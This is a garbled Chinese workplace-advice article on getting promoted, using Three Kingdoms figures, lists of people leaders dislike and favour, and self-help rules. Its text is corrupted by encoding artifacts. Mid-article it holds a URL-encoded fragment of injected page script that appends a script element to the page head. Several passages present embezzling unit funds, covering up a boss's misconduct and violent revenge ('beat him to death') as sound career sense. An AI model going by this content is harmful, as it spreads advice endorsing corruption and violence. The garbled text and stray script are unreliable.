給老板做100件好事，不如跟老板做1件壞事
三國(guó)最佳職業(yè)經(jīng)理人的升職妙招
「妙語(yǔ)“三國(guó)”」
● 職場(chǎng)中有四種人：有能力有脾氣的、有能力無(wú)脾氣的、無(wú)能力有脾氣的、無(wú)能力無(wú)脾氣的。
● 要做老黃牛，但是要做會(huì)叫的老黃牛。
● 給老板做100件好事，不如跟老板做1件壞事。
三國(guó)時(shí)期，可謂是歷史上高素質(zhì)人才最為鼎盛之時(shí)。然而，雖都是人才，卻是幾家歡喜幾家愁。有些人升職快，有些人媳婦都熬成婆了，職位還沒(méi)動(dòng)。到底什么樣的人升職最快?職場(chǎng)中有四種人：有能力有脾氣的、有能力無(wú)脾氣的、無(wú)能力有脾氣的、無(wú)能力無(wú)脾氣的。其中升職最快的，當(dāng)屬是有能力無(wú)脾氣的。趙云可以說(shuō)是有能力無(wú)脾氣的典范，是三國(guó)最佳職業(yè)經(jīng)理人。
趙云有勇有謀，能力出眾，是當(dāng)世豪杰;而且趙云還聽(tīng)話，很會(huì)按領(lǐng)導(dǎo)意思辦事，不像張飛般火爆，也不像關(guān)羽般傲慢。這樣的員工老板最喜歡，升職當(dāng)然也就快，趙云就成功進(jìn)入了劉備集團(tuán)的股東層，成為四千歲。要想升職快，有四個(gè)要素要記牢。
第一個(gè)要素——業(yè)績(jī)是第一位的。關(guān)云長(zhǎng)攻拔襄陽(yáng)、趙子龍單騎救主、老黃忠計(jì)奪天蕩山、張翼德大鬧長(zhǎng)坂坡，每一個(gè)都是功績(jī)卓著，才換來(lái)了職位的升遷。同樣的，在現(xiàn)代社會(huì)，企業(yè)是盈利機(jī)構(gòu)不是福利院，要想升職，輝煌的業(yè)績(jī)是第一位的。
第二個(gè)要素——要做老黃牛，但是要做會(huì)叫的老黃牛。在職場(chǎng)中，如老黃牛一樣勤勤懇懇，踏實(shí)工作是必須的，但魯迅所提倡的“俯首甘為孺子?！钡木裨诼殘?chǎng)卻不完全適用。做出了成績(jī)，要讓老板知道?？赡苋藗儠?huì)覺(jué)得，當(dāng)老板的本就應(yīng)該能看到員工的工作狀況，但是，老板都是很忙的，沒(méi)辦法做到所有事情都了然于胸。所以，別抱怨老板看不到自己很努力，這是你對(duì)職場(chǎng)規(guī)則不明白。
第三個(gè)要素——敢擔(dān)當(dāng)，在老板最需要的時(shí)候出現(xiàn)。趙云為何如此受劉老板的賞識(shí)，就是因?yàn)橼w云敢擔(dān)當(dāng)，而且總是在老板最需要的時(shí)候出現(xiàn)在身邊。比如，周瑜用美人計(jì)引誘劉備，在劉備相親的時(shí)候把他干掉。是趙云作為保衛(wèi)隊(duì)長(zhǎng)，識(shí)破了藏于左右的刀斧手，最終圓滿完成了任務(wù)，使劉備不僅全身而退，而且還抱得美人歸。這才有了諸葛亮嘲笑周瑜的機(jī)會(huì)：周郎妙計(jì)安天下，賠了夫人又折兵。因此，在職場(chǎng)要學(xué)會(huì)擔(dān)當(dāng)，勇挑重?fù)?dān)，并能圓滿完成任務(wù)，成為老板最需要的時(shí)候最可信賴的員工。如此這般，你想不升職都難。
第四個(gè)要素——“剩者為王”。堅(jiān)持、堅(jiān)守，并做好工作，當(dāng)你源源不斷地送走一批又一批同事的時(shí)候，你就成了元老，升職的機(jī)會(huì)自然會(huì)變大。不過(guò)，想升職也要克服急躁的心理，因?yàn)槔习逡矔?huì)有自己的考慮，可能你覺(jué)得自己夠升職的要求了，但老板還想再考驗(yàn)?zāi)阋幌拢虼?，不妨再耐心等待一段時(shí)間。俗話說(shuō)，試玉要待三日滿，辯才須得七年期。是金子，老板總會(huì)看到你的光芒。如果你做到了以上幾點(diǎn)，老板還沒(méi)給你升職，那我還有一個(gè)絕殺武器傳授給你——給老板做100件好事，不如跟老板做1件壞事。
（一）領(lǐng)導(dǎo)最不喜歡用的10種人
第一種是才華出眾、能力超群的人。
這種人一直是個(gè)焦點(diǎn)，不論誰(shuí)當(dāng)領(lǐng)導(dǎo)這種人都得用，不用不行啊，總得有人替他干工作。用嘛，這種人因?yàn)槟芰μ珡?qiáng)往往會(huì)讓領(lǐng)導(dǎo)感到有壓力。如果一個(gè)人的學(xué)識(shí)、能力都比領(lǐng)導(dǎo)強(qiáng)的話，領(lǐng)導(dǎo)在很多方面都顯得不如他，他無(wú)疑在很多方面都有自己的主見(jiàn)和做法，對(duì)領(lǐng)導(dǎo)的做法和看法都不會(huì)認(rèn)同，導(dǎo)致領(lǐng)導(dǎo)很沒(méi)有面子和尊嚴(yán)，讓領(lǐng)導(dǎo)心里很不爽。正如電視劇里的臺(tái)詞說(shuō)的一樣：“你太優(yōu)秀了，優(yōu)秀的讓我擔(dān)心?！鳖I(lǐng)導(dǎo)會(huì)因?qū)Ψ絻?yōu)秀而不再用他，也許是出于嫉妒，也許是出于擔(dān)心，擔(dān)心他的名頭在單位里蓋過(guò)自己。
第二種是作風(fēng)正派、剛正不阿的人。
這種人本應(yīng)該得到領(lǐng)導(dǎo)的賞識(shí)才對(duì)，可是為什么領(lǐng)導(dǎo)不重用他呢？原因很簡(jiǎn)單這種人做事只講原則不講情面，很難與現(xiàn)實(shí)社會(huì)相融合，出淤泥而不染那只是小學(xué)課本里的句子。打個(gè)小小的比方，領(lǐng)導(dǎo)隨便出去請(qǐng)客吃飯、陪人喝酒，這個(gè)錢(qián)總不能讓領(lǐng)導(dǎo)自己掏腰包吧，如果這樣，那誰(shuí)還當(dāng)領(lǐng)導(dǎo)，豈不窮死？這樣的錢(qián)無(wú)疑要單位出，如果把這樣的人放到重要位置上，領(lǐng)導(dǎo)豈不是自找苦吃?。?/P>
第三種是見(jiàn)利忘義、唯利是圖的人。
一個(gè)單位的經(jīng)費(fèi)任由領(lǐng)導(dǎo)揮霍就已經(jīng)很吃緊了，如果再讓幾個(gè)唯利是圖的下屬中飽私囊了，那領(lǐng)導(dǎo)還怎么過(guò)？不是曾流傳過(guò)這樣的話嗎？工資基本不動(dòng)，老婆基本不用。說(shuō)得就是領(lǐng)導(dǎo)，如果讓領(lǐng)導(dǎo)開(kāi)始動(dòng)自己的工資了，那成了什么世道？領(lǐng)導(dǎo)還能用你嗎？顯然不會(huì)的，所以這種人領(lǐng)導(dǎo)最不喜歡用了。
第四種是不太聽(tīng)話、喜歡從領(lǐng)導(dǎo)手中分權(quán)的人。
所謂領(lǐng)導(dǎo)就是不干事，只管人的人。如果別人都不干事只管人了，那領(lǐng)導(dǎo)又把自己放到什么位置呢？臥榻之畔豈容他人酣睡。無(wú)論你才華出眾、能力超群，一旦不聽(tīng)領(lǐng)導(dǎo)的話，違背領(lǐng)導(dǎo)的意愿，領(lǐng)導(dǎo)豈能容你？在這個(gè)問(wèn)題上領(lǐng)導(dǎo)的立場(chǎng)是非常堅(jiān)定的，他寧可用一個(gè)無(wú)能而聽(tīng)話的人，也不會(huì)用一個(gè)影響他充分行使權(quán)力的人。
第五種是喜歡抓領(lǐng)導(dǎo)把柄、跟領(lǐng)導(dǎo)對(duì)著干的人。
這種人最讓領(lǐng)導(dǎo)頭疼，他整天不干正事，喜歡背地里打聽(tīng)領(lǐng)導(dǎo)一些見(jiàn)不得人的事，然后有意無(wú)意地讓領(lǐng)導(dǎo)知道，讓領(lǐng)導(dǎo)很為難。不用他吧，有把柄在人家的手里，用吧，實(shí)在有違自己的良心!怎么辦呢?只好給他一個(gè)不太重要的崗位由他去吧，只要不給自己捅出亂子就萬(wàn)事大吉了。
第六種是主意不正、立場(chǎng)不堅(jiān)定的人。
這種人就是老百姓經(jīng)常說(shuō)的“墻頭草”、“兩面派”。無(wú)論哪個(gè)單位貌似平靜，其實(shí)背地里都在拉幫結(jié)派、明爭(zhēng)暗斗，領(lǐng)導(dǎo)無(wú)疑也得有自己的人際圈子，幫自己鞏固自己絕對(duì)的領(lǐng)導(dǎo)地位。如果遇上一個(gè)主義不正、立場(chǎng)不堅(jiān)定的家伙，東風(fēng)大了向東風(fēng)、西風(fēng)大了向西風(fēng)，那領(lǐng)導(dǎo)豈不是養(yǎng)虎為患？在領(lǐng)導(dǎo)眼里這種人是最不可靠的，是用不得的。
第七種是老實(shí)巴交、不會(huì)來(lái)事的人。
現(xiàn)在社會(huì)里老實(shí)、誠(chéng)實(shí)好像不再是對(duì)一個(gè)人的表?yè)P(yáng)了，反而有點(diǎn)被人瞧不起的意思，老實(shí)好像已經(jīng)成了無(wú)能的代名詞了。一個(gè)單位如果長(zhǎng)時(shí)間處于平靜狀態(tài)，最著急的人就是領(lǐng)導(dǎo)了。為什么呢？太平靜了就意味著沒(méi)有事情發(fā)生，那么領(lǐng)導(dǎo)自然也就處于一種若有若無(wú)的狀態(tài)了，你說(shuō)領(lǐng)導(dǎo)能不著急嗎？這時(shí)候總希望有人能鬧出點(diǎn)事情了，讓領(lǐng)導(dǎo)出面解決，以示領(lǐng)導(dǎo)的存在，展示領(lǐng)導(dǎo)的威嚴(yán)。至于什么時(shí)候該來(lái)事、什么時(shí)候不該來(lái)事，這種人自有分寸。老實(shí)巴交、不會(huì)來(lái)事的人在不該來(lái)事的時(shí)候卻來(lái)事了，反而會(huì)弄巧成拙。
第八種是斤斤計(jì)較、牢騷滿腹的人。
這種人無(wú)論哪個(gè)領(lǐng)導(dǎo)都不會(huì)喜歡的。不給他工作吧，他嫌領(lǐng)導(dǎo)不用他；給他分配工作吧，他又嫌領(lǐng)導(dǎo)不公平，自己總比別人那干的多，總之在他的眼里領(lǐng)導(dǎo)里外不是人了。而且經(jīng)常為一點(diǎn)小事斤斤計(jì)較，這種人不但領(lǐng)導(dǎo)不喜歡，而且連同事也很難容他。
第九種是愛(ài)出風(fēng)頭、到處?kù)乓娜恕?/P>
這種人最喜歡來(lái)事，但他卻屬于那種不會(huì)來(lái)事的人，往往想在領(lǐng)導(dǎo)面前表現(xiàn)一下，結(jié)果卻適得其反，弄巧成拙。而且這種人只要領(lǐng)導(dǎo)一用他，他就摸不著東西南北了，喜歡拿著雞毛當(dāng)令箭，到處耀武揚(yáng)威，招搖過(guò)市。這種人還有一個(gè)最大的弊病就是不能替領(lǐng)導(dǎo)嚴(yán)守秘密。泄漏了領(lǐng)導(dǎo)的秘密，那不等于公開(kāi)領(lǐng)導(dǎo)的犯罪事實(shí)、斷送了領(lǐng)導(dǎo)的前程？這種人領(lǐng)導(dǎo)還敢用嗎？
第十種是一貧如洗、沒(méi)有背景的人。
說(shuō)起來(lái)，這種人比較可憐，雖然說(shuō)貧窮沒(méi)有錯(cuò)，但錯(cuò)在你沒(méi)有錢(qián)啊。有錢(qián)能使鬼推磨，這是千百年來(lái)亙古不變流芳百世的名言。領(lǐng)導(dǎo)用這種人無(wú)疑對(duì)他毫無(wú)益處啊，既沒(méi)有錢(qián)可以讓領(lǐng)導(dǎo)花天酒地，也沒(méi)有背景幫領(lǐng)導(dǎo)官運(yùn)亨通，既如此，那領(lǐng)導(dǎo)為什么還要用這種人呢？當(dāng)然了，并非這種人領(lǐng)導(dǎo)就從來(lái)不用，有時(shí)也用，只要你能幫領(lǐng)導(dǎo)干好工作，領(lǐng)導(dǎo)也會(huì)讓這種人忙個(gè)不停的，這種人雖然得不到重用，卻一直在下重苦。
（二）領(lǐng)導(dǎo)最喜歡用的10種人
每到年終，總有一些朋友會(huì)發(fā)牢騷，說(shuō)自己辛辛苦苦干了一年，到了年終提拔干部的時(shí)候又沒(méi)自己的份。他們很納悶，提起來(lái)的有些人無(wú)論文憑還是能力都不能跟自己相提并論，可是人家為什么就可以被提起來(lái)，而自己為什么在同一個(gè)崗位上一干就是十多年呢？
關(guān)于這個(gè)現(xiàn)象，很多地方好像都存在。
領(lǐng)導(dǎo)用人自有他們的藝術(shù)，非我們常人能理解的，否則領(lǐng)導(dǎo)就不是領(lǐng)導(dǎo)了。
關(guān)于領(lǐng)導(dǎo)用人，我大概歸納了一下，大概有十種人是領(lǐng)導(dǎo)喜歡用的、也是最常用的：
第一種就是有真才實(shí)學(xué)的人。
這種人無(wú)論在哪個(gè)地方哪個(gè)單位都是比較吃香的，無(wú)論誰(shuí)當(dāng)領(lǐng)導(dǎo)，你總要有人替他把工作搞上去，只有把工作搞上去了，領(lǐng)導(dǎo)才能得到上級(jí)領(lǐng)導(dǎo)的肯定。這種人領(lǐng)導(dǎo)不得不用，直接牽扯到自身利益。
第二種人就是在某一方面有特長(zhǎng)的人。
這種人也許整體水平不怎么高，學(xué)識(shí)也不怎么廣博，只是在某一方面有過(guò)人的才能。這種人無(wú)疑也是受領(lǐng)導(dǎo)青睞的，因?yàn)樵谀骋环矫嫠転閱挝悔A得榮譽(yù)，領(lǐng)導(dǎo)臉上也光彩啊。
第三種人就是清正廉明兩袖清風(fēng)的人。
這種人領(lǐng)導(dǎo)用起來(lái)比較放心，一來(lái)不會(huì)貪污單位的錢(qián)財(cái)，二來(lái)不會(huì)貪污老百姓及下屬的錢(qián)財(cái)。單位既不會(huì)損失財(cái)物也不會(huì)因貪污受賄而搞壞單位及領(lǐng)導(dǎo)的名聲。
第四種人就是不計(jì)得失的人。
這種人不會(huì)因干多干少、獲多獲少而給領(lǐng)導(dǎo)臉色看，在工作上，從不計(jì)較個(gè)人的得失，只有一門(mén)心思地干好自己的本質(zhì)工作。這種人領(lǐng)導(dǎo)用起來(lái)比較省心。
第五種人就是只做不說(shuō)守口如瓶的人。
有些事領(lǐng)導(dǎo)不得不做，但又不能自己親自去做，只有派下屬去做。有些人只要替領(lǐng)導(dǎo)做了見(jiàn)不得人的事就大肆宣揚(yáng)，唯恐天下不知，無(wú)形中給領(lǐng)導(dǎo)帶來(lái)很多尷尬和麻煩。在這些事情上，領(lǐng)導(dǎo)最喜歡只做不說(shuō)守口如瓶的人，這種人領(lǐng)導(dǎo)用起來(lái)稱心。
第六種人就是善于交際的人。
這種人大多沒(méi)有什么真才實(shí)學(xué)，在外人眼里他就是一個(gè)無(wú)所事事游手好閑的街頭混混。但這種人卻很得領(lǐng)導(dǎo)的賞識(shí)，為什么呢？就因?yàn)樗袕V泛地交際圈子，跟什么人都能見(jiàn)上面、說(shuō)上話，很多事情都能替領(lǐng)導(dǎo)擺平。這種人領(lǐng)導(dǎo)用起來(lái)比較輕松。
第七種人就是能為領(lǐng)導(dǎo)排憂解難的人。
領(lǐng)導(dǎo)也是人，總會(huì)遇到一些煩惱和困難，而且有些事情自己出面解決又不合適，這個(gè)時(shí)候總需要有人能幫領(lǐng)導(dǎo)排憂解難。甚至通過(guò)一些暗箱操作，背地里人不知鬼不覺(jué)地替領(lǐng)導(dǎo)把難題解決了，這種人領(lǐng)導(dǎo)用起來(lái)比較歡心。
第八種人就是阿諛?lè)畛辛镯毰鸟R的人。
 cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">無(wú)論什么時(shí)候領(lǐng)導(dǎo)總要樹(shù)立威嚴(yán)、高高在上的形象，這樣一來(lái)，很多同志除了工作上的事情外幾乎不跟領(lǐng)導(dǎo)進(jìn)行過(guò)多的交流。所以領(lǐng)導(dǎo)的政績(jī)、偉績(jī)得不到歌功頌揚(yáng)，從心里他能開(kāi)心地起來(lái)嗎？而這種人整天挖空心思地替領(lǐng)導(dǎo)歌功頌德，在領(lǐng)導(dǎo)面前陪著笑臉，說(shuō)一些奉承的話，讓領(lǐng)導(dǎo)有種成就感。另外，領(lǐng)導(dǎo)接觸上級(jí)領(lǐng)導(dǎo)的機(jī)會(huì)和次數(shù)比較多，整天對(duì)別人陪著笑臉，心里很不舒服。如果有人在領(lǐng)導(dǎo)面前陪著笑臉的時(shí)候領(lǐng)導(dǎo)的心里才會(huì)感到平衡。
第九種人就是有背景的人。
這里的背景就是指某一個(gè)的父母或親朋好友當(dāng)?shù)墓俦阮I(lǐng)導(dǎo)的官還大。這種人有沒(méi)有本事領(lǐng)導(dǎo)都得用。有句俗語(yǔ)說(shuō)，天晴修水路，無(wú)事早為人。領(lǐng)導(dǎo)用這種人其實(shí)是在替自己為人，假如有一天自己有事求到人家親戚頭上的時(shí)候，人家也會(huì)看在自家親戚的份上不遺余力的替領(lǐng)導(dǎo)幫忙的。用這種人無(wú)疑是領(lǐng)導(dǎo)在為自己鋪路。
第十種人就是喜歡為領(lǐng)導(dǎo)找麻煩的人。
這種人玩世不恭、口無(wú)遮攔，喜歡散播小道消息，并且報(bào)復(fù)心理極強(qiáng)。對(duì)這種人領(lǐng)導(dǎo)采取壓制手段顯然效果不大，因?yàn)樗粫?huì)犯大錯(cuò)，夠不上開(kāi)除，只要稍微給點(diǎn)處分他就會(huì)有意無(wú)意地找領(lǐng)導(dǎo)的茬，不分場(chǎng)合地給領(lǐng)導(dǎo)難堪。對(duì)這種人最好的辦法就是利用他，但不能委以實(shí)權(quán)重任，只能給一個(gè)不太重要的崗位只要能封住他的嘴就行。
（三）十五招讓你實(shí)現(xiàn)當(dāng)領(lǐng)導(dǎo)愿望
1、說(shuō)話要用腦子，做事慎言
話多無(wú)益，嘴只是一件揚(yáng)聲器而已，平時(shí)一定要注意監(jiān)督、控制好調(diào)頻旋鈕和音控開(kāi)關(guān)，否則會(huì)給自己帶來(lái)許多麻煩。講話不要只顧一時(shí)痛快、信口開(kāi)河，以為人家給你笑臉就是欣賞，沒(méi)完沒(méi)了的把掏心窩子的話都講出來(lái)，結(jié)果讓人家徹底摸清了家底。還偷著笑你。
2、遇事不要急于下結(jié)論
即便有了答案也要等等，也許有更好的解決方式，站在不同的角度就有不同答案，要學(xué)會(huì)換位思維，特別是在遇到麻煩的時(shí)候，千萬(wàn)要學(xué)會(huì)等一等、靠一靠，很多時(shí)候不但麻煩化解了，說(shuō)不準(zhǔn)好運(yùn)也來(lái)了。
3、對(duì)小人一定要忍讓
退一步海闊天空，實(shí)在不行把屬于自己的空間也送給他們，讓他們?nèi)琥L歌燕舞般陶醉吧。俗話說(shuō)大人大度量，不把俗事放在心里，小人鼠肚雞腸，惹著小人就等與惹了麻煩，天底下頂數(shù)小人惹不起。直到現(xiàn)在我也沒(méi)想出更好的辦法戰(zhàn)勝小人，不知道敬而遠(yuǎn)之是否可行。
4、這世道沒(méi)有無(wú)緣無(wú)故的愛(ài)，也沒(méi)有無(wú)緣無(wú)故的恨
不要參與評(píng)論任何人，做到心中有數(shù)就可以了。所謂蓋棺論定的道理多簡(jiǎn)單，就是有操之過(guò)急。誰(shuí)也沒(méi)有理論依據(jù)來(lái)介定好人與壞蛋，其實(shí)就是利益關(guān)系的問(wèn)題。
5、只有花掉的那部分錢(qián)才是真正屬于你的財(cái)富
你就是家纏萬(wàn)貫，生時(shí)舍不得吃、舍不得穿，倆眼一閉，剩下的錢(qián)你知道誰(shuí)花了才怪，冤不冤。還有那些省吃儉用的貪官，好好的高官不做，結(jié)果因貪返貧，一分錢(qián)沒(méi)花著還搭上個(gè)人財(cái)物?！?/P>
6、做事情一定要事先設(shè)立道德底線
小偷也清楚有些東西是絕對(duì)不能偷的。所以說(shuō)事情萬(wàn)萬(wàn)不可做絕，落井下石的事絕對(duì)不要干，給別人讓出退路就等于自己前進(jìn)了。
7、對(duì)于那些經(jīng)常找你麻煩甚至欺負(fù)你的人，能忍則忍
沒(méi)必要時(shí)刻與莽夫過(guò)不去，但一定要給他攢著，新仇舊怨積累起來(lái)，正義和真理就屬于你了，那么瞅準(zhǔn)機(jī)會(huì)一定要徹底教訓(xùn)他一次，在法律賦予的權(quán)限以內(nèi)，往死里整，往死里揍，讓小子永遠(yuǎn)記?。撼四愕?，沒(méi)人會(huì)慣你這些臭毛病。
8、明槍易躲，暗箭難防
背后算計(jì)你的小人永遠(yuǎn)不會(huì)消失，這是中國(guó)特色，小人不可得罪，同樣小人也不可饒恕,這是萬(wàn)世不變的真理，說(shuō)到底小人也有心小的一面，對(duì)待這種人要穩(wěn)準(zhǔn)狠，你可以裝做什么也沒(méi)發(fā)生，天下太平，萬(wàn)事大吉，然后來(lái)個(gè)明修棧道，暗渡陳倉(cāng)，以毒攻毒，讓小子知道：小人也不是誰(shuí)都可以做的，做好人要有水準(zhǔn)，做小人同樣有難度。
9、對(duì)待愛(ài)你的人一定要尊重
愛(ài)你是有原因的，不要問(wèn)為什么，接受的同時(shí)要用加倍的關(guān)愛(ài)回報(bào)，但是千萬(wàn)不要欺騙人家的感情，愛(ài)是最珍貴的財(cái)富，這是你用錢(qián)買(mǎi)不來(lái)的財(cái)富。不要讓事業(yè)上的不順影響家人，更不要讓家庭的糾紛影響事業(yè)。那樣做很不劃算，家人和事業(yè)都受影響，甚至損失.男人要善于扛事，要把眼淚咽下去。記?。狠p視人家付出的情感就等于蔑視自己，玩物喪志，玩人喪德，愛(ài)人是一種美德。
10、背后夸獎(jiǎng)你的人，知道了要珍藏在心里
這里面很少有水分。當(dāng)面夸獎(jiǎng)你那叫奉承，再難聽(tīng)些叫獻(xiàn)媚，你可以一笑而過(guò)，就當(dāng)什么也沒(méi)發(fā)生，也許不久就有求于你，對(duì)于那種當(dāng)眾夸獎(jiǎng)你的人，就疏忽不得了，也許你轉(zhuǎn)過(guò)身去,就用指頭戳你，掌握一條原則：逢人多貶自己，少夸別人，選先評(píng)優(yōu)的時(shí)候除外。
11、有些人習(xí)慣了占你小便宜，小人小肚腸，大人大度量
有機(jī)會(huì)坑他一把大的，出一次大血，同樣讓他記住:天下根本就沒(méi)什么免費(fèi)的午餐，哪有白揀的便宜讓你賺。小恩小惠攢多了就是一個(gè)大窟窿，只要接受就一定要找機(jī)會(huì)回報(bào)，行下春風(fēng)望夏雨，付出就是為了收獲，其實(shí)就是一個(gè)簡(jiǎn)單的種子與果實(shí)的關(guān)系。千萬(wàn)別讓天真給害了，記住：人生如戲，都在尋找利益的平衡，只有平衡的游戲才有可能玩下去。
12、患有心理疾病的人是不負(fù)法律責(zé)任的，可以沒(méi)有理由的咬你一口
所以對(duì)待瘋狗級(jí)的人物要敬而遠(yuǎn)之，保持不來(lái)往，不交流，退一步，海闊天空，相信瘋狂也是一種人格，雖不值得尊重，但自有其存在的道理，生物鏈少不了這一環(huán)。
13、做一個(gè)人生的觀光客吧
說(shuō)到底只要與人為善，以德服人，離是非遠(yuǎn)點(diǎn)，靠家人近點(diǎn)，便有了心安，有了愜意。樂(lè)觀的心態(tài)來(lái)自寬容，來(lái)自大度，來(lái)自善解人意，來(lái)自與世無(wú)爭(zhēng)。壞心情是失眠時(shí)折磨出來(lái)的，其實(shí)現(xiàn)實(shí)并沒(méi)有你想的那樣糟糕，生命有高峰也有低谷，根本沒(méi)有一帆風(fēng)順的人生，鄧小平怎么樣，三起三落，最后還不是凡事他說(shuō)了算。
14、所謂的緣分無(wú)非只有善惡兩種，珍惜善的，也不要絕對(duì)排斥惡的
相信擦肩而過(guò)也是緣吧，全世界近60億人口，碰上誰(shuí)也不容易，所以遇到惡緣，也要試著寬容，給對(duì)方一次機(jī)會(huì)，不可以上來(lái)就全盤(pán)否定。
15、待人接物要擺正自己的位置
不可以老把自己當(dāng)人物，老拿自己當(dāng)領(lǐng)導(dǎo)，老把自己當(dāng)富翁，老以為自己是情圣，老是自我感覺(jué)良好，即便真是小有作為，業(yè)績(jī)斐然，也要謹(jǐn)慎，要虛懷若谷，要大智若愚，其實(shí)人的最終結(jié)局都是一樣的，只是你把自己看復(fù)雜了，說(shuō)句俗話：千萬(wàn)別把自己當(dāng)回事。
（四）老板絕不告訴你的職場(chǎng)密門(mén)
1、絕對(duì)不要與公司作對(duì)，與老板為敵
相信公司、認(rèn)同老板的邏輯，是職場(chǎng)中人唯一能做的事，否則你每天都會(huì)生活在痛苦及挫折中。何飛鵬當(dāng)老板之后，也能聽(tīng)到很多員工的抱怨和批評(píng)，之前他都會(huì)認(rèn)為是公司諸多的不足，想盡各種方法彌補(bǔ)。后來(lái)他發(fā)覺(jué)，公司是用一樣的米養(yǎng)著百樣的人，不可能讓每個(gè)員工都滿意的，所以，決定用自己的邏輯，定自己的規(guī)則。
員工都有權(quán)決定自己的去留，但是只要你選擇留下，就請(qǐng)相信公司，認(rèn)同老板，不要站在與公司敵對(duì)的立場(chǎng)。
2、老板是不講理的
老板有一個(gè)被所有員工咒罵的特質(zhì)，那就是不講理。企業(yè)經(jīng)營(yíng)由老板指揮大局，要有在石頭里擠出水來(lái)的意志何情境。關(guān)鍵時(shí)刻，老板能講理嗎？經(jīng)營(yíng)企業(yè)經(jīng)常面臨意外，在非常狀況下，講理是不夠用的，老板如果沒(méi)有不講理的狠勁與殺氣，那公司只能坐以待斃。
記住一句話：合理的要求是訓(xùn)練，不合理的要求是磨練，鋼鐵般的軍人絕對(duì)是磨練出來(lái)的。
3、老板不是你想象的那么累
有一次，何飛鵬提拔一杰出青年做主管，這位青年拒絕了，理由是：我不想象你一樣辛苦。老板們都是非常累嗎？何飛鵬用自己的例子說(shuō)，一般人只看到老板工作繁忙，壓力沉重，并沒(méi)有看到老板們工作時(shí)的自我，老板能“只做我相信的事，只說(shuō)我相信的話；用自己喜好的方法管理團(tuán)隊(duì)”。老板們擁有自我，能自我管理。
最后他說(shuō)，有些人工作繁重，但內(nèi)心卻自由而輕松；有些人選擇輕松的工作，卻永遠(yuǎn)受制于人，無(wú)法活出真正自我。
4、兼職是只能做不能說(shuō)的事
一切盡在不言中，大家心照不宣。老板們?cè)谝獾氖?，心中不只裝著他的公司，還有別的公司。對(duì)于兼職，老板們的感覺(jué)是“情人眼里容不下一粒沙子”。所以，你我如果在其他地方兼職，最好別傻乎乎地以為告訴老板，是在跟老板掏心窩，其他是在毀滅自己。
了解老板們都在想什么，或許我們可以化解很多工作中的不快，避免很多幼稚的念頭。那如何才能往高處爬，在職場(chǎng)中做得更好呢，何飛鵬的職業(yè)心態(tài)和工作方法可以借鑒：
其一，管理好低潮時(shí)的自己，不要拿“不是我的興趣”作借口
何飛鵬說(shuō)，他也曾陷落過(guò)，也曾想過(guò)轉(zhuǎn)業(yè)，只不過(guò)當(dāng)時(shí)想不出其他有興趣的事，正好沒(méi)其他機(jī)會(huì)，只好繼續(xù)做，后來(lái)心情平復(fù)了，才發(fā)覺(jué)對(duì)原來(lái)的工作還是充滿熱誠(chéng)！
每一個(gè)人都該認(rèn)清低潮時(shí)的自己，懦弱的自己，逃避是理所當(dāng)然的，認(rèn)輸也有可能。只不過(guò)，沒(méi)有人會(huì)真正“認(rèn)輸逃避”，于是乎“興趣不合”成為每個(gè)人最常用的理由。
有如下三個(gè)方法檢驗(yàn)是否只是一時(shí)的低潮，而不該用“興趣不合”離職而去。
1） 確認(rèn)自己對(duì)什么事有興趣，而這件事又可以當(dāng)事業(yè)經(jīng)營(yíng)。
2） 確認(rèn)對(duì)現(xiàn)在的工作沒(méi)熱忱，沒(méi)興趣，是不是受了環(huán)境影響，是不是業(yè)績(jī)不佳、獎(jiǎng)金不多？
3） 回想一下，業(yè)績(jī)好的時(shí)候，是不是對(duì)現(xiàn)在的工作充滿熱情？
一句話，“興趣不合”僅是逃避的借口，弱者通常一輩子找不到自己真正的興趣！
其二，勉強(qiáng)他人，是必修課
順勢(shì)而為，水到渠成，是大多數(shù)員工所期待的事情，但這么容易的事很少見(jiàn)。大多時(shí)候，我們要強(qiáng)力作為，不斷勉強(qiáng)自己、勉強(qiáng)別人，最后才能有一點(diǎn)小成果。
年輕的何飛鵬也最討厭別人逼迫做事，總覺(jué)得所有事情都應(yīng)該“自動(dòng)自發(fā)”，自己也盡可能不去勉強(qiáng)別人，后來(lái)才發(fā)現(xiàn)，幾乎沒(méi)有一件事是別人樂(lè)意去幫你的，推動(dòng)其他部門(mén)協(xié)助你的工作，朋友的幫忙，讓老板兌現(xiàn)承諾等。每個(gè)人都是在他人不斷催促，不斷說(shuō)服，不斷溝通，不斷哀求之下，完成一件事的。
這是一個(gè)無(wú)處不“勉強(qiáng)”的世界，人生的真相就是“勉強(qiáng)別人”，而成功的人，就是會(huì)“勉強(qiáng)”別人的人。學(xué)會(huì)勉強(qiáng)別人，是職場(chǎng)中人認(rèn)清事實(shí)，學(xué)習(xí)成長(zhǎng)的開(kāi)始。
11招讓上司離不開(kāi)你
也許你象愛(ài)因斯坦一樣聰明，創(chuàng)意也絕對(duì)獨(dú)特，為什么在別人眼中依舊是無(wú)足輕重？先不要因此抑郁，生活往往是可以改變的，試著按以下的要點(diǎn)做，你會(huì)成為上司眼中不可缺少的重磅人才。
1、早到。別以為沒(méi)人注意到你的出勤情況，上司可全都是睜大眼睛在瞧著呢？如果能提早一點(diǎn)到公司，就顯得你很重視這份工作。
2、不要過(guò)于固執(zhí)。工作時(shí)時(shí)在擴(kuò)展，不要老是以“這不是我份內(nèi)的工作”為由來(lái)逃避責(zé)任。當(dāng)前額外的工作指派到你頭上時(shí)，不妨視之為考驗(yàn)。
3、苦中求樂(lè)。不管你接受的工作多么艱巨，鞠躬盡瘁也要做好，千萬(wàn)別表現(xiàn)出你做不來(lái)或不知從何入手的樣子。
4、立刻動(dòng)手。接到工作要立刻動(dòng)手，迅速準(zhǔn)確及時(shí)完成，反應(yīng)敏捷給人的印象是金錢(qián)買(mǎi)不到的。
5、謹(jǐn)言。職務(wù)上的機(jī)密必須守口如瓶。
6、聽(tīng)從上司的臨時(shí)指派。上司的時(shí)間比你的時(shí)間寶貴，不管他臨時(shí)指派了什么工作給你，都比你手頭上的工作來(lái)得重要。
7、榮耀歸于上司。即讓上司在人前人后永遠(yuǎn)光鮮。
8、保持冷靜。面對(duì)任何狀況都能處之泰然的人，一開(kāi)始就取得了優(yōu)勢(shì)。老板、客戶不僅欽佩那些面對(duì)危機(jī)聲色不變的人，更欣賞能妥善解決問(wèn)題的人。
9、別存在太多的希望。千萬(wàn)別期盼所有的事情都會(huì)照你的計(jì)劃而行。相反，你得時(shí)時(shí)為可能產(chǎn)生的錯(cuò)誤做準(zhǔn)備。
